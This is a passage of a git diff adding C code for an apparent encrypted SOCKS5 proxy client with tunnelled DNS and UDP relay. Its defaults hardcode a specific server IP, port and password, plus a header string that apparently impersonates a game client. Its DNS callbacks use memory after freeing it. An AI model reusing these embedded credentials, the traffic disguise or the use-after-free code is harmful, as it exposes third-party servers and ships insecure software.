aes_cfb_init(&b->up_enc, b->key32, iv, 1); b->up_ready = true; + + /* 加密 */ + uint8_t *ct = (uint8_t*)malloc(plain_len); + int m = 0; aes_cfb_update(&b->up_enc, plain, plain_len, ct, &m); + + /* 发给 server:IV + CFB(addr+mx) */ + bufferevent_write(b->srv_bev, iv, 16); + bufferevent_write(b->srv_bev, ct, (size_t)m); + + /* 回应本地应用:成功,绑定地址 0.0.0.0:0 */ + socks5_send_reply(b->cli_bev, 0x00, "0.0.0.0", 0); + + free(plain); free(ct); evbuffer_free(addr); + + bridge_start_stream(b); +} + +/* 发起远端 TCP 连接 */ +static void connect_remote(bridge_t *b) { + b->srv_bev = bufferevent_socket_new(b->base, -1, BEV_OPT_CLOSE_ON_FREE|BEV_OPT_DEFER_CALLBACKS); + bufferevent_setcb(b->srv_bev, NULL, NULL, on_server_event, b); + bufferevent_enable(b->srv_bev, EV_READ|EV_WRITE); + + /* 解析 remote_host:remote_port */ + struct sockaddr_storage ss; socklen_t sslen; + if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, &ss, &sslen)) { + socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); + bridge_free(b); return; + } + + /* 设置一些 socket 选项用于性能 */ + evutil_socket_t fd = bufferevent_getfd(b->srv_bev); + (void)fd; /* 连接后再设置选项 */ + + /* 连接 */ + if (bufferevent_socket_connect(b->srv_bev, (struct sockaddr*)&ss, sslen) != 0) { + socks5_send_reply(b->cli_bev, 0x05, "0.0.0.0", 0); + bridge_free(b); return; + } + + /* 读写超时(连接阶段 & 后续) */ + struct timeval tv = { .tv_sec = b->cfg->connect_timeout, .tv_usec = 0 }; + bufferevent_set_timeouts(b->srv_bev, &tv, &tv); + + b->state = ST_CONNECTING_REMOTE; +} + +/* 执行“远端 UDP DNS 解析”并在完成后继续连接 */ +typedef struct { + bridge_t *b; + int fd; + struct event *ev_read; + struct event *ev_timer; + uint16_t id; + char host[256]; +} dns_tunnel_t; + +static void dns_tunnel_free(dns_tunnel_t *dt) { + if (!dt) return; + if (dt->ev_read) event_free(dt->ev_read); + if (dt->ev_timer) event_free(dt->ev_timer); + if (dt->fd >= 0) CLOSESOCK(dt->fd); + free(dt); +} + +static void dns_tunnel_on_timeout(evutil_socket_t fd, short what, void *arg) { + (void)fd; (void)what; + dns_tunnel_t *dt = (dns_tunnel_t*)arg; + log_msg(LOG_WARN, "DNS query for %s timed out", dt->host); + socks5_send_reply(dt->b->cli_bev, 0x04, "0.0.0.0", 0); + dns_tunnel_free(dt); + bridge_free(dt->b); +} + +static void dns_tunnel_on_read(evutil_socket_t fd, short what, void *arg) { + (void)what; + dns_tunnel_t *dt = (dns_tunnel_t*)arg; + uint8_t buf[65536]; + struct sockaddr_storage from; socklen_t fromlen = sizeof(from); + int n = (int)recvfrom(fd, (char*)buf, (int)sizeof(buf), 0, + (struct sockaddr*)&from, &fromlen); + if (n < 0) return; + if (n < 16) { dns_tunnel_free(dt); return; } + + /* 解密并解析 DNS */ + uint8_t plain[65536]; + int m = aes_cfb_one_shot(dt->b->key32, buf, 0, buf + 16, (size_t)n - 16, plain); + if (m <= 0) { dns_tunnel_free(dt); return; } + + /* 跳过 addr_block(8.8.8.8:53 的 SOCKS5 UDP 头) */ + size_t off = 0; + if (plain[0] == 0x01) off = 1 + 4 + 2; + else if (plain[0] == 0x04) off = 1 + 16 + 2; + else { dns_tunnel_free(dt); return; } + if ((size_t)m <= off) { dns_tunnel_free(dt); return; } + + char ip[INET_ADDRSTRLEN]; + if (dns_parse_a(plain + off, (size_t)m - off, ip, sizeof(ip)) == 0) { + log_msg(LOG_DEBUG, "Resolved %s -> %s", dt->host, ip); + dns_cache_put(&dt->b->dns_cache, dt->host, ip, 300); + /* 修改请求为 IPv4 */ + strncpy(dt->b->req.host, ip, sizeof(dt->b->req.host)-1); + dt->b->req.atyp = 0x01; + /* 去连接远端 */ + dns_tunnel_free(dt); + connect_remote(dt->b); + return; + } + log_msg(LOG_WARN, "Could not parse A record for %s", dt->host); + socks5_send_reply(dt->b->cli_bev, 0x04, "0.0.0.0", 0); + dns_tunnel_free(dt); + bridge_free(dt->b); +} + +static void start_dns_over_tunnel(bridge_t *b, const char *host) { + /* DNS 缓存命中 */ + const char *cached = dns_cache_get(&b->dns_cache, host); + if (cached) { + log_msg(LOG_DEBUG, "DNS cache hit: %s -> %s", host, cached); + strncpy(b->req.host, cached, sizeof(b->req.host)-1); + b->req.atyp = 0x01; + connect_remote(b); + return; + } + + dns_tunnel_t *dt = (dns_tunnel_t*)calloc(1, sizeof(*dt)); + dt->b = b; dt->fd = socket(AF_INET, SOCK_DGRAM, 0); + if (dt->fd < 0) { free(dt); socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); bridge_free(b); return; } + evutil_make_socket_nonblocking(dt->fd); + strncpy(dt->host, host, sizeof(dt->host)-1); + + /* 远端 UDP 地址 = remote_host:remote_port */ + struct sockaddr_storage r; socklen_t rlen; + if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, &r, &rlen)) { + CLOSESOCK(dt->fd); free(dt); socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); bridge_free(b); return; + } + + /* 构建 DNS 查询 */ + uint8_t q[512]; size_t qlen=0; uint16_t qid=0; + if (dns_build_query(host, q, sizeof(q), &qlen, &qid) != 0) { + CLOSESOCK(dt->fd); free(dt); socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); bridge_free(b); return; + } + dt->id = qid; + + /* 封装为 SS-UDP:IV + CFB( [UDP addr 8.8.8.8:53] + dns_payload ) */ + struct evbuffer *ab = evbuffer_new(); + encode_addr_udp(0x01, "8.8.8.8", 53, ab); + size_t ablen = evbuffer_get_length(ab); + uint8_t *plain = (uint8_t*)malloc(ablen + qlen); + evbuffer_copyout(ab, plain, ablen); + memcpy(plain + ablen, q, qlen); + + uint8_t iv[16]; RAND_bytes(iv, sizeof(iv)); + uint8_t ct[2048]; int m = aes_cfb_one_shot(b->key32, iv, 1, plain, ablen + qlen, ct); + struct iovec { + const void *base; size_t len; + } iov[2] = {{iv,16}, {ct,(size_t)m}}; + uint8_t out[4096]; + size_t outlen = 0; + memcpy(out+outlen, iov[0].base, iov[0].len); outlen += iov[0].len; + memcpy(out+outlen, iov[1].base, iov[1].len); outlen += iov[1].len; + + sendto(dt->fd, out, outlen, 0, (struct sockaddr*)&r, rlen); + + dt->ev_read = event_new(b->base, dt->fd, EV_READ|EV_PERSIST, dns_tunnel_on_read, dt); + event_add(dt->ev_read, NULL); + struct timeval tv = { .tv_sec = b->cfg->connect_timeout, .tv_usec = 0 }; + dt->ev_timer = event_new(b->base, -1, 0, dns_tunnel_on_timeout, dt); + evtimer_add(dt->ev_timer, &tv); + + evbuffer_free(ab); free(plain); +} + +/* 处理 UDP ASSOCIATE */ +static void handle_udp_associate(bridge_t *b) { + b->udp_assoc = udp_assoc_create(b); + if (!b->udp_assoc) { + socks5_send_reply(b->cli_bev, 0x01, "0.0.0.0", 0); /* general failure */ + bridge_free(b); return; + } + /* 告知客户端我们的 UDP 中继地址 */ + struct sockaddr_in sin; socklen_t slen = sizeof(sin); + getsockname(b->udp_assoc->fd, (struct sockaddr*)&sin, &slen); + char bind_ip[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &sin.sin_addr, bind_ip, sizeof(bind_ip)); + uint16_t bind_port = ntohs(sin.sin_port); + socks5_send_reply(b->cli_bev, 0x00, bind_ip, bind_port); + + /* 转入“保持控制连接直至 EOF”的状态 */ + b->state = ST_UDP_ASSOC; +} + +/* 客户端读:握手/请求/上行 */ +static void on_client_read(struct bufferevent *bev, void *ctx) { + bridge_t *b = (bridge_t*)ctx; + + if (b->state == ST_GREETING) { + int r = handle_socks5_greeting(bev); + if (r < 0) { bridge_free(b); return; } + if (r == 1) b->state = ST_REQUEST; + if (r == 0) return; + } + + if (b->state == ST_REQUEST) { + size_t consumed = 0; + int r = parse_socks5_request(bufferevent_get_input(bev), &b->req, &consumed); + if (r < 0) { bridge_free(b); return; } + if (r == 0) return; + evbuffer_drain(bufferevent_get_input(bev), consumed); + + if (b->req.cmd == 0x01) { /* CONNECT */ + if (b->req.atyp == 0x03 && host_in_domain_list(b->req.host)) { + log_msg(LOG_DEBUG, "Host %s in DOMAIN_LISTS, resolve via remote DNS", b->req.host); + start_dns_over_tunnel(b, b->req.host); + return; + } + connect_remote(b); + } else if (b->req.cmd == 0x03) { /* UDP ASSOCIATE */ + handle_udp_associate(b); + } else { + socks5_send_reply(b->cli_bev, 0x07, "0.0.0.0", 0); + bridge_free(b); + } + return; + } + + if (b->state == ST_STREAM) { + /* 上行:明文 -> CFB -> server */ + struct evbuffer *in = bufferevent_get_input(b->cli_bev); + size_t len = evbuffer_get_length(in); + if (!b->up_ready || len == 0) return; + + while (len) { + size_t chunk = len > (size_t)b->cfg->recv_buf ? (size_t)b->cfg->recv_buf : len; + unsigned char *p = evbuffer_pullup(in, chunk); + if (!p) break; + uint8_t *ct = (uint8_t*)malloc(chunk); + int m = 0; aes_cfb_update(&b->up_enc, p, chunk, ct, &m); + bufferevent_write(b->srv_bev, ct, (size_t)m); + evbuffer_drain(in, chunk); + free(ct); + len -= chunk; + } + } + + if (b->state == ST_UDP_ASSOC) { + /* 控制连接仅消费数据直到 EOF;这里直接丢弃 */ + struct evbuffer *in = bufferevent_get_input(b->cli_bev); + size_t len = evbuffer_get_length(in); + if (len) evbuffer_drain(in, len); + } +} + +/* 服务端读:下行 CFB 解密 -> 客户端 */ +static void on_server_read(struct bufferevent *bev, void *ctx) { + bridge_t *b = (bridge_t*)ctx; + struct evbuffer *in = bufferevent_get_input(b->srv_bev); + + /* 首次需要 16B IV */ + if (!b->down_ready) { + size_t len = evbuffer_get_length(in); + if (len < 16) return; + evbuffer_remove(in, b->iv_server, 16); + aes_cfb_init(&b->down_dec, b->key32, b->iv_server, 0); + b->down_ready = true; + } + + size_t len = evbuffer_get_length(in); + while (len) { + size_t chunk = len > (size_t)b->cfg->recv_buf ? (size_t)b->cfg->recv_buf : len; + unsigned char *p = evbuffer_pullup(in, chunk); + if (!p) break; + uint8_t *pt = (uint8_t*)malloc(chunk); + int m = 0; aes_cfb_update(&b->down_dec, p, chunk, pt, &m); + bufferevent_write(b->cli_bev, pt, (size_t)m); + evbuffer_drain(in, chunk); + free(pt); + len -= chunk; + } +} + +/* 事件回调:client/server */ +static void on_client_event(struct bufferevent *bev, short events, void *ctx) { + bridge_t *b = (bridge_t*)ctx; + if (events & (BEV_EVENT_EOF|BEV_EVENT_ERROR)) { + bridge_free(b); + } +} + +static void on_server_event(struct bufferevent *bev, short events, void *ctx) { + bridge_t *b = (bridge_t*)ctx; + if (events & BEV_EVENT_CONNECTED) { + /* 设置 TCP 选项 */ + evutil_socket_t fd = bufferevent_getfd(bev); + int on = 1, sz = 1<<20; + setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (const char*)&on, sizeof(on)); + setsockopt(fd, SOL_SOCKET, SO_SNDBUF, (const char*)&sz, sizeof(sz)); + setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (const char*)&sz, sizeof(sz)); +#ifdef _WIN32 + /* 尝试启用 Loopback Fast Path(仅 127.0.0.0/8 有效,失败忽略) */ + DWORD bytes = 0, enabled = 1; + WSAIoctl(fd, 0x98000010 /* SIO_LOOPBACK_FAST_PATH */, + &enabled, sizeof(enabled), NULL, 0, &bytes, NULL, NULL); +#endif + after_remote_connected(b); + return; + } + if (events & (BEV_EVENT_EOF|BEV_EVENT_ERROR|BEV_EVENT_TIMEOUT)) { + socks5_send_reply(b->cli_bev, 0x05, "0.0.0.0", 0); + bridge_free(b); + } +} + +/*----------------------------- 接入监听 ------------------------------*/ + +static void on_accept(struct evconnlistener *lev, evutil_socket_t fd, + struct sockaddr *addr, int socklen, void *ctx) { + (void)addr; (void)socklen; + config_t *cfg = (config_t*)ctx; + + bridge_t *b = (bridge_t*)calloc(1, sizeof(*b)); + b->base = evconnlistener_get_base(lev); + b->cfg = cfg; + b->cli_fd = fd; + b->cli_bev = bufferevent_socket_new(b->base, fd, BEV_OPT_CLOSE_ON_FREE|BEV_OPT_DEFER_CALLBACKS); +#ifdef _WIN32 + { + DWORD bytes=0, enabled=1; + WSAIoctl(fd, 0x98000010 /* SIO_LOOPBACK_FAST_PATH */, + &enabled, sizeof(enabled), NULL, 0, &bytes, NULL, NULL); + } +#endif + bufferevent_setcb(b->cli_bev, on_client_read, NULL, on_client_event, b); + bufferevent_enable(b->cli_bev, EV_READ|EV_WRITE); + + /* derive AES key */ + kdf_evp_bytes_to_key((const uint8_t*)cfg->password, strlen(cfg->password), b->key32); + + dns_cache_init(&b->dns_cache); + b->state = ST_GREETING; +} + +static void on_accept_error(struct evconnlistener *lev, void *ctx) { + (void)ctx; + int err = EVUTIL_SOCKET_ERROR(); + log_msg(LOG_ERROR, "accept error %d(%s)", err, evutil_socket_error_to_string(err)); +} + +/*----------------------------- 参数解析 ------------------------------*/ + +static void usage(const char *argv0) { + fprintf(stderr, + "Usage: %s [--remote-host H] [--remote-port P] [--password S]\n" + " [--mx STR] [--listen H] [--port P] [--log LEVEL]\n", argv0); +} + +static void parse_args(int argc, char **argv, config_t *cfg) { + config_default(cfg); + for (int i = 1; i < argc; ++i) { + if (!strcmp(argv[i], "--remote-host") && i+1 < argc) { + strncpy(cfg->remote_host, argv[++i], sizeof(cfg->remote_host)-1); + } else if (!strcmp(argv[i], "--remote-port") && i+1 < argc) { + cfg->remote_port = atoi(argv[++i]); + } else if (!strcmp(argv[i], "--password") && i+1 < argc) { + strncpy(cfg->password, argv[++i], sizeof(cfg->password)-1); + } else if (!strcmp(argv[i], "--mx") && i+1 < argc) { + strncpy(cfg->mx_head, argv[++i], sizeof(cfg->mx_head)-1); + } else if (!strcmp(argv[i], "--listen") && i+1 < argc) { + strncpy(cfg->listen_host, argv[++i], sizeof(cfg->listen_host)-1); + } else if (!strcmp(argv[i], "--port") && i+1 < argc) { + cfg->listen_port = atoi(argv[++i]); + } else if (!strcmp(argv[i], "--log") && i+1 < argc) { + ++i; + if (!strcasecmp(argv[i], "DEBUG")) g_log_level = LOG_DEBUG; + else if (!strcasecmp(argv[i], "INFO")) g_log_level = LOG_INFO; + else if (!strcasecmp(argv[i], "WARNING") || !strcasecmp(argv[i],"WARN")) g_log_level = LOG_WARN; + else if (!strcasecmp(argv[i], "ERROR")) g_log_level = LOG_ERROR; + } else { + usage(argv[0]); exit(2); + } + } +} + +/*----------------------------- main ------------------------------*/ + +int main(int argc, char **argv) { + config_t cfg; parse_args(argc, argv, &cfg); + + struct event_base *base = event_base_new(); + if (!base) { fprintf(stderr, "event_base_new failed\n"); return 1; } + + /* 监听 TCP(SOCKS5) */ + struct sockaddr_in sin; memset(&sin,0,sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_port = htons((uint16_t)cfg.listen_port); + inet_pton(AF_INET, cfg.listen_host, &sin.sin_addr); + + struct evconnlistener *lev = + evconnlistener_new_bind(base, on_accept, &cfg, + LEV_OPT_CLOSE_ON_FREE|LEV_OPT_REUSEABLE|LEV_OPT_REUSEABLE_PORT, -1, + (struct sockaddr*)&sin, sizeof(sin)); + if (!lev) { fprintf(stderr, "bind listener failed\n"); event_base_free(base); return 1; } + + evconnlistener_set_error_cb(lev, on_accept_error); + log_msg(LOG_INFO, "Listening on %s:%d (SOCKS5)", cfg.listen_host, cfg.listen_port); + + int rc = event_base_dispatch(base); + + evconnlistener_free(lev); + event_base_free(base); + return rc ? 1 : 0; +} diff --git a/cpp/mx_optimized.c b/cpp/mx_optimized.c new file mode 100644 index 0000000..ac66e80 --- /dev/null +++ b/cpp/mx_optimized.c @@ -0,0 +1,1037 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 +#ifndef _WIN32_WINNT +#define _WIN32_WINNT 0x0A00 +#endif +#define _WINSOCK_DEPRECATED_NO_WARNINGS +#include +#include +#pragma comment(lib, "Ws2_32.lib") +typedef int socklen_t; +#ifndef ssize_t +#define ssize_t SSIZE_T +#endif +#define CLOSESOCK(s) closesocket((s)) +#define SOCK_ERR() WSAGetLastError() +#define WOULD_BLOCK(e) ((e)==WSAEWOULDBLOCK) +#else +#include +#include +#include +#include +#include +#include +#include +#define CLOSESOCK(s) close((s)) +#define SOCK_ERR() errno +#define WOULD_BLOCK(e) ((e)==EAGAIN || (e)==EWOULDBLOCK) +#endif + +#define RECV_BUF 8192 +#define DNS_CACHE_SIZE 256 +#define UDP_MAP_CAP 128 +#define DOMAIN_MAX 255 + +static const char *k_domains[] = {"google.com", "youtube.com", "github.com"}; +static const size_t k_domains_cnt = 3; + +static bool ends_with(const char *s, const char *suffix) { + size_t ls = strlen(s), lt = strlen(suffix); + return lt <= ls && strcasecmp(s + (ls - lt), suffix) == 0; +} + +static bool host_in_domain_list(const char *host) { + for (size_t i = 0; i < k_domains_cnt; ++i) { + if (ends_with(host, k_domains[i])) return true; + } + return false; +} + +static bool resolve_host_port(const char *host, uint16_t port, + struct sockaddr_storage *ss, socklen_t *sslen) { + struct addrinfo hints, *res = NULL; + char portstr[8]; + snprintf(portstr, sizeof(portstr), "%u", (unsigned)port); + memset(&hints, 0, sizeof(hints)); + hints.ai_socktype = SOCK_STREAM; + hints.ai_family = AF_UNSPEC; + if (getaddrinfo(host, portstr, &hints, &res) != 0 || !res) { + if (res) freeaddrinfo(res); + return false; + } + memcpy(ss, res->ai_addr, res->ai_addrlen); + *sslen = (socklen_t)res->ai_addrlen; + freeaddrinfo(res); + return true; +} + +static int host_literal_ip(const char *host, uint8_t *packed16, size_t *packed_len) { + struct in_addr a4; struct in6_addr a6; + if (inet_pton(AF_INET, host, &a4) == 1) { + memcpy(packed16, &a4, 4); *packed_len = 4; return AF_INET; + } + if (inet_pton(AF_INET6, host, &a6) == 1) { + memcpy(packed16, &a6, 16); *packed_len = 16; return AF_INET6; + } + return 0; +} + +static void kdf_evp_bytes_to_key(const uint8_t *pw, size_t pwlen, uint8_t out32[32]) { + uint8_t h1[16]; uint8_t h2[16]; + MD5_CTX ctx; + MD5_Init(&ctx); + MD5_Update(&ctx, pw, pwlen); + MD5_Final(h1, &ctx); + MD5_Init(&ctx); + MD5_Update(&ctx, h1, 16); + MD5_Update(&ctx, pw, pwlen); + MD5_Final(h2, &ctx); + memcpy(out32, h1, 16); + memcpy(out32 + 16, h2, 16); +} + +typedef struct { + EVP_CIPHER_CTX *ctx; +} aes_cfb_stream_t; + +static void aes_cfb_init(aes_cfb_stream_t *s, const uint8_t key[32], + const uint8_t iv[16], int enc) { + s->ctx = EVP_CIPHER_CTX_new(); + EVP_CipherInit_ex(s->ctx, EVP_aes_256_cfb128(), NULL, key, iv, enc); +} + +static void aes_cfb_free(aes_cfb_stream_t *s) { + if (s->ctx) EVP_CIPHER_CTX_free(s->ctx); +} + +static void aes_cfb_update(aes_cfb_stream_t *s, const uint8_t *in, + size_t inlen, uint8_t *out, int *outlen) { + int n = 0; + EVP_CipherUpdate(s->ctx, out, &n, in, (int)inlen); + *outlen = n; +} + +static int aes_cfb_one_shot(const uint8_t key[32], const uint8_t iv[16], + int enc, const uint8_t *in, size_t inlen, + uint8_t *out) { + EVP_CIPHER_CTX *c = EVP_CIPHER_CTX_new(); + if (!c) return -1; + int n1 = 0, n2 = 0; + EVP_CipherInit_ex(c, EVP_aes_256_cfb128(), NULL, key, iv, enc); + if (!EVP_CipherUpdate(c, out, &n1, in, (int)inlen)) { EVP_CIPHER_CTX_free(c); return -1; } + if (!EVP_CipherFinal_ex(c, out + n1, &n2)) { EVP_CIPHER_CTX_free(c); return -1; } + EVP_CIPHER_CTX_free(c); + return n1 + n2; +} + +static bool encode_addr(uint8_t atyp, const char *host, uint16_t port, + struct evbuffer *out, bool tcp) { + uint8_t packed[16]; size_t plen = 0; + switch (atyp) { + case 0x01: { + if (host_literal_ip(host, packed, &plen) != AF_INET) return false; + evbuffer_add_printf(out, "%c", tcp ? (char)0x61 : (char)0x01); + evbuffer_add(out, packed, 4); + break; + } + case 0x03: { + size_t len = strlen(host); + if (len > 255) return false; + evbuffer_add_printf(out, "%c", tcp ? (char)0x63 : (char)0x03); + if (!tcp) evbuffer_add_printf(out, "%c", (char)len); + else evbuffer_add_printf(out, "%c", (char)len); + evbuffer_add(out, host, len); + break; + } + case 0x04: { + if (host_literal_ip(host, packed, &plen) != AF_INET6) return false; + evbuffer_add_printf(out, "%c", tcp ? (char)0x64 : (char)0x04); + evbuffer_add(out, packed, 16); + break; + } + default: return false; + } + uint16_t nport = htons(port); + evbuffer_add(out, &nport, 2); + return true; +} + +static int dns_build_query(const char *host, uint8_t *out, size_t cap, size_t *outlen, uint16_t *out_id) { + if (!host || !out || cap < 12) return -1; + uint16_t id; RAND_bytes((unsigned char*)&id, sizeof(id)); + *out_id = id; + + size_t off = 0; + uint16_t flags = htons(0x0100); + uint16_t qd = htons(1), an = 0, ns = 0, ar = 0; + if (cap < 12) return -1; + *(uint16_t*)(out+off) = htons(id); off+=2; + *(uint16_t*)(out+off) = flags; off+=2; + *(uint16_t*)(out+off) = qd; off+=2; + *(uint16_t*)(out+off) = an; off+=2; + *(uint16_t*)(out+off) = ns; off+=2; + *(uint16_t*)(out+off) = ar; off+=2; + + const char *p = host, *dot = NULL; + while (*p) { + dot = strchr(p, '.'); + size_t lab_len = dot ? (size_t)(dot - p) : strlen(p); + if (lab_len == 0 || lab_len > 63) return -1; + if (off + 1 + lab_len >= cap) return -1; + out[off++] = (uint8_t)lab_len; + memcpy(out + off, p, lab_len); off += lab_len; + if (!dot) break; + p = dot + 1; + } + if (off + 1 + 4 > cap) return -1; + out[off++] = 0; + *(uint16_t*)(out+off) = htons(1); off+=2; + *(uint16_t*)(out+off) = htons(1); off+=2; + + *outlen = off; + return 0; +} + +static int dns_skip_name(const uint8_t *buf, size_t len, size_t *off) { + size_t i = *off; + while (i < len) { + uint8_t c = buf[i++]; + if ((c & 0xC0) == 0xC0) { + if (i >= len) return -1; + i++; break; + } else if (c == 0) { + break; + } else { + if (i + c > len) return -1; + i += c; + } + } + *off = i; + return 0; +} + +static int dns_parse_a(const uint8_t *buf, size_t len, char *ip_str, size_t ip_cap) { + if (len < 12) return -1; + uint16_t qd = ntohs(*(const uint16_t *)(buf + 4)); + uint16_t an = ntohs(*(const uint16_t *)(buf + 6)); + size_t off = 12; + for (uint16_t i = 0; i < qd; ++i) { + if (dns_skip_name(buf, len, &off) != 0) return -1; + if (off + 4 > len) return -1; + off += 4; + } + for (uint16_t i = 0; i < an; ++i) { + if (dns_skip_name(buf, len, &off) != 0) return -1; + if (off + 10 > len) return -1; + uint16_t type = ntohs(*(const uint16_t *)(buf + off)); off += 2; + uint16_t class_= ntohs(*(const uint16_t *)(buf + off)); off += 2; + off += 4; + uint16_t rdlen = ntohs(*(const uint16_t *)(buf + off)); off += 2; + if (off + rdlen > len) return -1; + if (type == 1 && class_ == 1 && rdlen == 4) { + struct in_addr a4; memcpy(&a4, buf + off, 4); + const char *ret = inet_ntop(AF_INET, &a4, ip_str, (socklen_t)ip_cap); + return ret ? 0 : -1; + } + off += rdlen; + } + return -1; +} + +typedef struct { + bool used; + time_t expire; + char host[64]; + char ip[16]; +} dns_cache_entry_t; + +typedef struct { + dns_cache_entry_t tab[DNS_CACHE_SIZE]; +} dns_cache_t; + +static void dns_cache_init(dns_cache_t *c) { memset(c, 0, sizeof(*c)); } + +static const char* dns_cache_get(dns_cache_t *c, const char *host) { + time_t now = time(NULL); + for (size_t i = 0; i < DNS_CACHE_SIZE; ++i) { + if (c->tab[i].used && strcmp(c->tab[i].host, host) == 0) { + if (c->tab[i].expire > now) return c->tab[i].ip; + c->tab[i].used = false; + } + } + return NULL; +} + +static void dns_cache_put(dns_cache_t *c, const char *host, const char *ip, int ttl_sec) { + time_t now = time(NULL); + size_t slot = DNS_CACHE_SIZE; time_t oldest = now; + for (size_t i = 0; i < DNS_CACHE_SIZE; ++i) { + if (!c->tab[i].used) { slot = i; break; } + if (c->tab[i].expire < oldest) { oldest = c->tab[i].expire; slot = i; } + } + if (slot >= DNS_CACHE_SIZE) slot = 0; + dns_cache_entry_t *e = &c->tab[slot]; + e->used = true; + e->expire = now + ttl_sec; + strncpy(e->host, host, sizeof(e->host)-1); e->host[sizeof(e->host)-1] = 0; + strncpy(e->ip, ip, sizeof(e->ip)-1); e->ip[sizeof(e->ip)-1] = 0; +} + +typedef struct { + char remote_host[64]; + int remote_port; + char password[64]; + char mx_head[128]; + char listen_host[16]; + int listen_port; + int recv_buf; + int connect_timeout; + int udp_timeout; +} config_t; + +static void config_default(config_t *cfg) { + memset(cfg, 0, sizeof(*cfg)); + strcpy(cfg->remote_host, "121.14.152.149"); + cfg->remote_port = 10004; + strcpy(cfg->password, "dwz1GtF7"); + strcpy(cfg->mx_head, "com.win64.oppc.game.common:22021709,102024080020541279"); + strcpy(cfg->listen_host, "0.0.0.0"); + cfg->listen_port = 10807; + cfg->recv_buf = RECV_BUF; + cfg->connect_timeout = 10; + cfg->udp_timeout = 180; +} + +struct bridge_s; +typedef struct bridge_s bridge_t; + +typedef struct { + bool used; + time_t ts; + uint8_t key[128]; size_t key_len; + struct sockaddr_storage client_ss; socklen_t client_len; +} udp_map_entry_t; + +typedef struct { + bridge_t *owner; + int fd; + struct event *ev_read; + struct event *ev_timer; + struct sockaddr_storage remote_ss; socklen_t remote_len; + uint8_t key32[32]; + udp_map_entry_t map[UDP_MAP_CAP]; + struct sockaddr_storage last_client; socklen_t last_client_len; bool has_last; +} udp_assoc_t; + +static int udp_map_find(udp_assoc_t *ua, const uint8_t *k, size_t klen) { + for (int i = 0; i < UDP_MAP_CAP; ++i) { + if (ua->map[i].used && ua->map[i].key_len == klen && + memcmp(ua->map[i].key, k, klen) == 0) return i; + } + return -1; +} + +static int udp_map_alloc_slot(udp_assoc_t *ua) { + for (int i = 0; i < UDP_MAP_CAP; ++i) if (!ua->map[i].used) return i; + time_t oldest = time(NULL); int idx = 0; + for (int i = 0; i < UDP_MAP_CAP; ++i) { + if (ua->map[i].ts < oldest) { oldest = ua->map[i].ts; idx = i; } + } + return idx; +} + +static void udp_assoc_close(udp_assoc_t *ua) { + if (!ua) return; + if (ua->ev_read) event_free(ua->ev_read); + if (ua->ev_timer) event_free(ua->ev_timer); + if (ua->fd >= 0) CLOSESOCK(ua->fd); + free(ua); +} + +typedef enum { + ST_GREETING = 0, ST_REQUEST = 1, ST_CONNECTING_REMOTE = 2, + ST_STREAM = 3, ST_UDP_ASSOC = 4, ST_CLOSED = 5 +} bridge_state_t; + +typedef struct { + uint8_t cmd, atyp; + char host[128]; + uint16_t port; +} socks5_req_t; + +struct bridge_s { + struct event_base *base; + config_t *cfg; + struct bufferevent *cli_bev; + evutil_socket_t cli_fd; + struct bufferevent *srv_bev; + evutil_socket_t srv_fd; + bridge_state_t state; + uint8_t key32[32]; + aes_cfb_stream_t up_enc; bool up_ready; + aes_cfb_stream_t down_dec; bool down_ready; + uint8_t iv_server[16]; size_t iv_have; + udp_assoc_t *udp_assoc; + dns_cache_t dns_cache; + socks5_req_t req; +}; + +static void socks5_send_reply(struct bufferevent *bev, uint8_t rep, + const char *bind_host, uint16_t bind_port) { + struct evbuffer *out = evbuffer_new(); + uint8_t ver = 5, rsv = 0; + evbuffer_add(out, &ver, 1); + evbuffer_add(out, &rep, 1); + evbuffer_add(out, &rsv, 1); + + uint8_t packed[16]; size_t plen = 0; + int af = host_literal_ip(bind_host, packed, &plen); + if (af == AF_INET) { + uint8_t t = 0x01; evbuffer_add(out, &t, 1); + evbuffer_add(out, packed, 4); + } else if (af == AF_INET6) { + uint8_t t = 0x04; evbuffer_add(out, &t, 1); + evbuffer_add(out, packed, 16); + } else { + size_t len = strlen(bind_host); + if (len > 255) len = 255; + uint8_t t = 0x03; uint8_t l = (uint8_t)len; + evbuffer_add(out, &t, 1); + evbuffer_add(out, &l, 1); + evbuffer_add(out, bind_host, len); + } + uint16_t p = htons(bind_port); + evbuffer_add(out, &p, 2); + bufferevent_write_buffer(bev, out); + evbuffer_free(out); +} + +static int parse_socks5_request(struct evbuffer *in, socks5_req_t *req, size_t *consumed) { + size_t len = evbuffer_get_length(in); + if (len < 4) return 0; + unsigned char *p = evbuffer_pullup(in, len); + if (!p) return 0; + + if (p[0] != 5) return -2; + req->cmd = p[1]; + req->atyp = p[3]; + size_t off = 4; + if (req->atyp == 0x01) { + if (len < off + 4 + 2) return 0; + char ip[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, p + off, ip, sizeof(ip)); + strncpy(req->host, ip, sizeof(req->host)-1); req->host[127]=0; + off += 4; + req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else if (req->atyp == 0x03) { + if (len < off + 1) return 0; + uint8_t l = p[off++]; if (len < off + l + 2) return 0; + size_t cplen = (l > 127) ? 127 : l; + memcpy(req->host, p + off, cplen); req->host[cplen]=0; + off += l; + req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else if (req->atyp == 0x04) { + if (len < off + 16 + 2) return 0; + char ip6[INET6_ADDRSTRLEN]; + inet_ntop(AF_INET6, p + off, ip6, sizeof(ip6)); + strncpy(req->host, ip6, sizeof(req->host)-1); req->host[127]=0; + off += 16; + req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else { + return -3; + } + *consumed = off; + return 1; +} + +static void udp_assoc_on_timer(evutil_socket_t fd, short what, void *arg); +static void udp_assoc_on_read(evutil_socket_t fd, short what, void *arg); + +static udp_assoc_t* udp_assoc_create(bridge_t *b) { + udp_assoc_t *ua = 